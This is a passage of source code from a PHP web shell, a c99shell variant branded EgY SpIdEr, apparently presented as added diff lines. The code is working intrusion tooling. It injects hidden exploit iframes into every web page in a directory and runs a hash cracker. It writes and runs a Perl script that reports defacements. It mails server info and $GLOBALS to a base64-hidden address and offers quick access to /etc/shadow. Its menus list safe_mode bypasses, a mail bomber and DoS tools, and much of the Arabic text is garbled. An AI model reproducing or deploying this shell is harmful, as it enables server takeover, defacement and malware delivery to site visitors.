+</td><td> +<center> +<form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST> +<input type=text size=40 name=h> <input type=submit value="Submit"></form> +</center> +</td></tr> +</table> +<br> +<center> +<?php +// my wordlist cracker ^_^ +if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) { + $type = $_GET['type']; + $hash = $_GET['hash']; + $count = 1; + $wordlist = file($_GET['wordlist']); + $words = count($wordlist); + foreach ($wordlist as $word) { + echo $count.' of '.$words.': '.$word.'<br>'; + if ($hash == $type(rtrim($word))) { + echo '<font color=red>Great success! The password is: '.$word.'</font><br>'; + exit; + } + ++$count; + } +} + +} +if ($act == 'fsbuff') +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("ZWd5X3NwaWRlckBob3RtYWlsLmNvbQ=="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "egy_spider v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\nE-server: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\ni"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"egy_spider v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>If you want to send a request for any help I know I will respond to you in case <br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: Arbic, English.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} + +if ($act == 'massbrowsersploit') { +?> +<b>Mass Code Injection:</b><br><br> +Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br> +<form action="<?php echo $surl; ?>" method=GET> +<input type=hidden name="masssploit" value="goahead"> +<input type=hidden name="act" value="massbrowsersploit"> +<table border=0> +<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr> +<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.egyspider.eu" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr> +<tr><td><input type=submit value="Inject Code"></td></tr> +</table> +</form> +<?php +if ($_GET['masssploit'] == 'goahead') { + if (is_dir($_GET['pathtomass'])) { + $lolinject = $_GET['injectthis']; + foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + } else { //end if inputted dir is real -- if not, show an ugly red error + echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>'; + } // end if inputted dir is real, for real this time +} // end if confirmation to mass sploit is go +} // end if massbrowsersploit is called + + + +if ($dlink=='showsrc'){ +print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>"; +input ("text","tools&dlink=showsrc","",35);print " "; +input ("hidden","scdir",$scdir,22);input ("submit","tools&dlink=showsrc","Show-src","");print $ef; die();}if(isset($_REQUEST['tools&dlink=showsrc'])){callshsrc(trim($_REQUEST['showsc']));} +if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt'])) +{if (touch ($_REQUEST['indx'])==true){ +$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt'])); +fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Edit again</a> +] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}} +if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt> +Your index contents here</textarea></p>"; +input ("text","indx","Index-name",35);print " "; +input ("submit","qindsub","Create","");print $ef;die();} +if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){ +$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt']; +if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();} +if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt> +Your message here</textarea></p>";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " "; +input ("submit","mailsub","Send-mail","");print $ef;die();} +if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);} +function callzone($nscdir){ +if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";} +else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";} +fwrite ($fpz,"\$arq = @ARGV[0]; +\$grupo = @ARGV[1]; +chomp \$grupo; +open(a,\"<\$arq\"); +@site = <a>; +close(a); +\$b = scalar(@site); +for(\$a=0;\$a<=\$b;\$a++) +{chomp \$site[\$a]; +if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; } +print \"[+] Sending \$site[\$a]\n\"; +use IO::Socket::INET; +\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next; +print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\"; +print \$sock \"Accept: */*\r\n\"; +print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\"; +print \$sock \"Accept-Language: pt-br\r\n\"; +print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\"; +print \$sock \"Connection: Keep-Alive\r\n\"; +print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\"; +print \$sock \"Host: old.zone-h.org\r\n\"; +print \$sock \"Content-Length: 385\r\n\"; +print \$sock \"Pragma: no-cache\r\n\"; +print \$sock \"\r\n\"; +print \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\"; +close(\$sock);}"); +if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']); +}else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet']; +if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print "[ Can't complete the operation !! ]";} +else {callfuncs("chmod 777 $zpl;chmod 777 $li"); +ob_start();callfuncs("perl $zpl $li $zonet");ob_clean(); +print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();} +}if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){ +print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt> +www.site1.com +www.site2.com +</textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " "; +input ("submit","zonesub","Send","");print $ef;die();} +print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>"; +function inisaf($iniv) { $chkini=ini_get($iniv); +if(($chkini || strtolower($chkini)) !=='on'){print"<font color=olive><b>OFF ( Not secured )</b></font>";} else{ +print"<font color=red><b>ON ( Secured )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif); +if ($chkin==""){print " <font color=red><b>None</b></font>";} +else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=olive>".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);} +elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r'); +while (!feof($opop)){ $nval= fgetc($opop);}} +elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){ +ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();} +if($nval=$owhich){print"<font color=red><b>ON</b></font>";} +else{print"<font color=olive><b>OFF</b></font>";} } +print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } + + + if(isset($_GET['egy'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center"> + <font face="tahoma" size="-2"><b> + <p align="center">&nbsp;</p> + <p align="center"> + <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000"> +<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/about.htm"></IFRAME></font></p> + <p align="center">&nbsp;</p> + <div id="n" align="center"> + &nbsp;</div> + <p>&nbsp;</font></b></div> +</b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } + if(isset($_GET['news'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center"> + <font face="tahoma" size="-2"><b> + <p align="center">&nbsp;</p> + <p align="center"> + <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000"> +<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/news.htm"></IFRAME></font></p> + <p align="center">&nbsp;</p> + <div id="n" align="center"> + &nbsp;</div> + <p>&nbsp;</font></b></div> +</b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } + + +if(isset($_GET['5'])) + {$_POST['cmd'] = 'systeminfo';} +if(isset($_GET['6'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';} +if(isset($_GET['7'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';} +if(isset($_GET['8'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';} +if(isset($_GET['9'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';} +if(isset($_GET['10'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';} +if(isset($_GET['13'])) + {$_POST['cmd']='cat /proc/cpuinfo';} +if(isset($_GET['14'])) + {$_POST['cmd']='cat /proc/version';} +if(isset($_GET['15'])) + {$_POST['cmd'] = 'free';} +if(isset($_GET['16'])) + {$_POST['cmd'] = 'dmesg(8)';} +if(isset($_GET['17'])) + {$_POST['cmd'] = 'vmstat';} +if(isset($_GET['18'])) + {$_POST['cmd'] = 'lspci';} +if(isset($_GET['19'])) + {$_POST['cmd'] = 'lsdev';} +if(isset($_GET['20'])) + {$_POST['cmd']='cat /proc/interrupts';} +if(isset($_GET['21'])) + {$_POST['cmd'] = 'cat /etc/*realise';} +if(isset($_GET['22'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';} +if(isset($_GET['23'])) + {$_POST['cmd'] = 'lsattr -va';} +if(isset($_GET['24'])) + {$_POST['cmd'] = 'w';} +if(isset($_GET['25'])) + {$_POST['cmd'] = 'who';} +if(isset($_GET['26'])) + {$_POST['cmd'] = 'uptime';} +if(isset($_GET['27'])) + {$_POST['cmd'] = 'last -n 10';} +if(isset($_GET['28'])) + {$_POST['cmd'] = 'ps -aux';} +if(isset($_GET['29'])) + {$_POST['cmd'] = 'service --status-all';} +if(isset($_GET['30'])) + {$_POST['cmd'] = 'ifconfig';} +if(isset($_GET['31'])) + {$_POST['cmd'] = 'netstat -a';} +if(isset($_GET['32'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';} +if(isset($_GET['33'])) + {$_POST['cmd'] = 'fdisk -l';} +if(isset($_GET['34'])) + {$_POST['cmd'] = 'df -h';} + +#if(isset($_GET[''])) +# {$_POST['cmd'] = '';} + +$lang=array( +'ar_text1' =>'����� ������', +'ar_text2' =>'����� ������� �� �������', +'ar_text3' =>'��� �������', +'ar_text4' =>'���� ���� ���� ��� �������', +'ar_text5' =>'��� ��� ��� �������', +'ar_text6' =>'���� ����', +'ar_text7' =>'����� �����', +'ar_text8' =>'���� �����', +'ar_butt1' =>'�����', +'ar_butt2' =>'����', +'ar_text9' =>'��� ���� �� ������� ��� /bin/bash', +'ar_text10'=>'�����', +'ar_text11'=>'������ ������', +'ar_butt3' =>'���', +'ar_text12'=>'������ �����', +'ar_text13'=>'���� ��', +'ar_text14'=>'������', +'ar_butt4' =>'������', +'ar_text15'=>'��� ����� ��� �������', +'ar_text16'=>'�� ����', +'ar_text17'=>'���� �����', +'ar_text18'=>'���� �����', +'ar_text19'=>'Exploits', +'ar_text20'=>'������', +'ar_text21'=>'����� ������', +'ar_text22'=>'����� ��������', +'ar_text23'=>'������ ������', +'ar_text24'=>'������� ������', +'ar_text25'=>'������ ������', +'ar_text26'=>'������', +'ar_butt5' =>'�����', +'ar_text28'=>'����� �� ����� �����', +'ar_text29'=>'����� ������', +'ar_butt6' =>'����', +'ar_text30'=>'��� ���', +'ar_butt7' =>'���', +'ar_text31'=>'����� ��� �����', +'ar_text32'=>'����� ��� php �� ���� ���� eval', +'ar_text33'=>'Test bypass open_basedir with cURL functions', +'ar_butt8' =>'������', +'ar_text34'=>'����� ������� �� ���� ���� include', +'ar_text35'=>'����� ������� �� ���� ���� Mysql', +'ar_text36'=>'������� . ������', +'ar_text37'=>'��� ��������', +'ar_text38'=>'���� ������', +'ar_text39'=>'�������', +'ar_text40'=>'���� �� ����� �������', +'ar_butt9' =>'����', +'ar_text41'=>'��� ������ ��', +'ar_text42'=>'����� �������', +'ar_text43'=>'����� ������ ������', +'ar_butt10'=>'���', +'ar_text44'=>'�������� ������� ��� ��� ����� ��� ����', +'ar_text45'=>'�� �����', +'ar_text46'=>'��� phpinfo()', +'ar_text47'=>'���� ��������� �� php.ini', +'ar_text48'=>'��� ����� ��� temp', +'ar_butt11'=>'����� �����', +'ar_text49'=>'��� ������� �� �������', +'ar_text50'=>'��� ������� ������� ��������', +'ar_text51'=>'��� ������� �������', +'ar_text52'=>'��� ��', +'ar_text53'=>'�� ������', +'ar_text54'=>'��� �� �� �� �������', +'ar_butt12'=>'���', +'ar_text55'=>'��� �� �������', +'ar_text56'=>'������ :(', +'ar_text57'=>'�����/��� ���/����', +'ar_text58'=>'�����', +'ar_text59'=>'���', +'ar_text60'=>'����', +'ar_butt13'=>'����� /���', +'ar_text61'=>'�� ����� �����', +'ar_text62'=>'�� ����� ������', +'ar_text63'=>'�� ��� �����', +'ar_text64'=>'�� ��� ������', +'ar_butt65'=>'�����', +'ar_text66'=>'���', +'ar_text67'=>'�������/��������/��������', +'ar_text68'=>'���', +'ar_text69'=>'��� �����', +'ar_text70'=>'�������', +'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'ar_text72'=>'���� ������', +'ar_text73'=>'��� �� ��������', +'ar_text74'=>'��� �� �������', +'ar_text75'=>'* you can use regexp', +'ar_text76'=>'����� �� �� �� ����� ������ find', +'ar_text80'=>'�����', +'ar_text81'=>'���������', +'ar_text82'=>'����� ��������', +'ar_text83'=>'����� ��� �������', +'ar_text84'=>'������� �����', +'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'ar_text86'=>'����� ����� �� �������', +'ar_butt14'=>'�����', +'ar_text87'=>'����� ����� �� ���� ���� �� ��', +'ar_text88'=>'����� ���� �� ��:������', +'ar_text89'=>'��� �� ���� �� ��', +'ar_text90'=>'������� ���', +'ar_text91'=>'�����', +'ar_text92'=>'�� ��� �������', +'ar_text93'=>'���� �� ��', +'ar_text94'=>'����� ���� �� ��', +'ar_text95'=>'����� ����������', +'ar_text96'=>'�� ����� ��� ����� ����������', +'ar_text97'=>'�� �����: ', +'ar_text98'=>'�� �����: ', +'ar_text99'=>'* ������ ����� ���������� �� ��� /etc/passwd ����� ��� ftp', +'ar_text100'=>'����� ��� ��� ���� ���� �� ��', +'ar_text101'=>'������ ������� ������ ��������', +'ar_text102'=>'����� ������', +'ar_text103'=>'����� ����', +'ar_text104'=>'����� ��� ��� �������', +'ar_text105'=>'���', +'ar_text106'=>'���', +'ar_text107'=>'�������', +'ar_butt15'=>'�����', +'ar_text108'=>'�������', +'ar_text109'=>'����', +'ar_text110'=>'���', +'ar_text111'=>'����� ����� �������� : ������', +'ar_text112'=>'����� ������� �� ���� ���� ���� mb_send_mail', +'ar_text113'=>'����� ����� �������� �� ���� via imap_list', +'ar_text114'=>'����� ������� �� ���� ���� via imap_body', +'ar_text115'=>'����� ������� �� ���� compress.zlib://', +'ar_text116'=>'��� ��', +'ar_text117'=>'���', +'ar_text118'=>'�� ��� �����', +'ar_text119'=>'�������� �����', +'ar_err0'=>'���� ! ������ ������� ��� ��� ����� ', +'ar_err1'=>'���� ! ��� ���� ��� ����� ��� ����� ', +'ar_err2'=>'����! ������ ������� ', +'ar_err3'=>'����! ��� ���� ��� ������� ����� �� ��', +'ar_err4'=>'���� ! �������� ������ ��� ����� ���� �� ��', +'ar_err5'=>'���� ! �������� ���� ������ �� ���� �� ��', +'ar_err6'=>'���� ! �������� ����� �����', +'ar_err7'=>'������ ����', +'ar_text200'=>'copy()����� ������� �� ���� ����', +'ar_text202'=>'���� ����� ������ ������', +'ar_text300'=>'curl()����� ������� �� ���� ����', +'ar_text203'=>'ini_restore()����� ������� �� ���� ����', +'ar_text204'=>'error_log()����� ������� �� ���� ����', +'ar_text205'=>'���� ���� ��� ��� ������', +'ar_text206'=>'����� ������� ������', +'ar_text207'=>'����� ������� �������� �� ���� ���� reg_glob', +'ar_text208'=>'����� ������� �� ����� ����� �� ���� ������', +'ar_text209'=>'����� ������� �������� �� ���� ���� root', +'ar_text210'=>'�� ����� ����� ', +'ar_text211'=>'::����� ����� ���::', +'ar_text212'=>'php.ini ����� ����� ��� �� ���� ��� ���', +'ar_text213'=>'htacces ����� ����� ������� �� ���� ��� ���', +'ar_text214'=>'��� ������', +'ar_text215'=>'����� ������� IRC ', +'ar_text216'=>'# ��� ������ ��', +'ar_text217'=>'��� ������� �������', +'ar_text218'=>'������ ����� ��� ini_restore ��� ��� ����� ��� ����', +'ar_text219'=>'��� ����� ��� ������� ����� ����� ������ �����', +'ar_text220'=>'������� ������� �� ���� ���� symlink ������ ������', +'ar_text221'=>'��� ������� �������� �� ������(��� ������� ������ ��� ������ ����� �������� ������)1', +'ar_text222'=>'������� ������� �� ���� ���� symlink ������ �������', +'ar_text223'=>'����� ������� �� ���� ������', +'ar_text224'=>'PLUGIN ����� ������� �� ���� ���� ', +'ar_text143'=>'�����: ', +'ar_text65'=>'�����', + + +'ar_text33'=>'���� ����� ��� � open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'ar_text34'=>'����� ������� �� ���� ���� include function', +'ar_text35'=>'����� ������� �� ���� ���� load file in mysql', +'ar_text85'=>'����� ������� �� ���� ���� commands execute via MSSQL server', +'ar_text112'=>'����� ������� �� ���� ���� function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'ar_text113'=>'���� ����� ��� � safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'ar_text114'=>'���� ����� ��� � safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'ar_text115'=>'���� ����� ��� � safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'ar_text116'=>'Copy from', +'ar_text117'=>'to', +'ar_text118'=>'File copied', +'ar_text119'=>'Cant copy file', +'ar_text120'=>'���� ����� ��� � safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'ar_text121'=>'���� ����� ��� � open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'ar_text122'=>'���� ����� ��� � open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'ar_text123'=>'���� ����� ��� � open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'ar_text124'=>'���� ����� ��� � open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'ar_text126'=>'���� ����� ��� � open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'ar_text127'=>'���� ����� ��� � open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'ar_text128'=>'Modify/Access file (touch)', +'ar_text129'=>'���� ����� ��� � open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'ar_text130'=>'���� ����� ��� � open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'ar_text131'=>'���� ����� ��� � open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'ar_text132'=>'���� ����� ��� � open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'ar_text133'=>'���� ����� ��� � open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'ar_err3'=>'Error! Can\'t connect to ftp', +'ar_err4'=>'Error! Can\'t login on ftp server', +'ar_err5'=>'Error! Can\'t change dir on ftp', +'ar_err6'=>'Error! Can\'t sent mail', +'ar_err7'=>'Mail send', +'ar_text1' =>'Executed command', +'ar_text2' =>'Execute command on server', +'ar_text33'=>'���� ����� ��� � open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'ar_text34'=>'����� ������� �� ���� ���� include function', +'ar_text35'=>'����� ������� �� ���� ���� load file in mysql', +'ar_text112'=>'����� ������� �� ���� ���� function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'ar_text113'=>'���� ����� ��� � safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'ar_text114'=>'���� ����� ��� � safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'ar_text115'=>'���� ����� ��� � safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'ar_text120'=>'���� ����� ��� � safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'ar_text121'=>'���� ����� ��� � open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'ar_text122'=>'���� ����� ��� � open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'ar_text123'=>'���� ����� ��� � open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'ar_text124'=>'���� ����� ��� � open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'ar_text126'=>'���� ����� ��� � open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'ar_text127'=>'���� ����� ��� � open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'ar_text128'=>'Modify/Access file (touch)', +'ar_text129'=>'���� ����� ��� � open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'ar_text130'=>'���� ����� ��� � open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'ar_text131'=>'���� ����� ��� � open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'ar_text132'=>'���� ����� ��� � open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'ar_text133'=>'���� ����� ��� � open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'ar_text142'=>'Downloaders', +'ar_text137'=>'Useful', +'ar_text128'=>'Modify/Access file (touch)', +'ar_text129'=>'���� ����� ��� � open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'ar_text130'=>'���� ����� ��� � open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'ar_text131'=>'���� ����� ��� � open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'ar_text132'=>'���� ����� ��� � open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'ar_text133'=>'���� ����� ��� � open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'ar_text134'=>'Database-bruteforce', +'ar_text135'=>'Dictionary', +'ar_text136'=>'Creating evil symlink', +'ar_text137'=>'Useful', +'ar_text138'=>'Dangerous', +'ar_text139'=>'Mail Bomber', +'ar_text140'=>'DoS', +'ar_text141'=>'Danger! Web-daemon crash possible.', +'ar_text142'=>'Downloaders', +'ar_text143'=>'Temp: ', +'ar_text144'=>'����� ������� �� ���� ���� load file in mysqli', +'ar_text145'=>'���� ����� ��� � open_basedir, view dir list via realpath() (PHP <= 5.2.4)', +'ar_text146'=>'Max Interation', +'ar_text147'=>'', +'ar_text148'=>'', +'ar_text149'=>'', +'ar_text150'=>'', +'ar_err0'=>'Error! Can\'t write in file ', +'ar_err1'=>'Error! Can\'t read file ', +'ar_err2'=>'Error! Can\'t create ', +'ar_err3'=>'Error! Can\'t connect to ftp', +'ar_err4'=>'Error! Can\'t login on ftp server', +'ar_err5'=>'Error! Can\'t change dir on ftp', +'ar_err6'=>'Error! Can\'t sent mail', +'ar_err7'=>'Mail send', +'ar_text125'=>'Data', +'ar_text225'=>'��� ��� ������� �� ���� ����� �������� � 4.4.7 / 5.2.3 PHP ', +'ar_text226'=>'���� ����� ��� ����� Root Directory: ', +'ar_text227'=>'��� ��� ����� ���� ��� ����� 4.4.2/5.1.2', +'ar_text228'=>'��� ��� 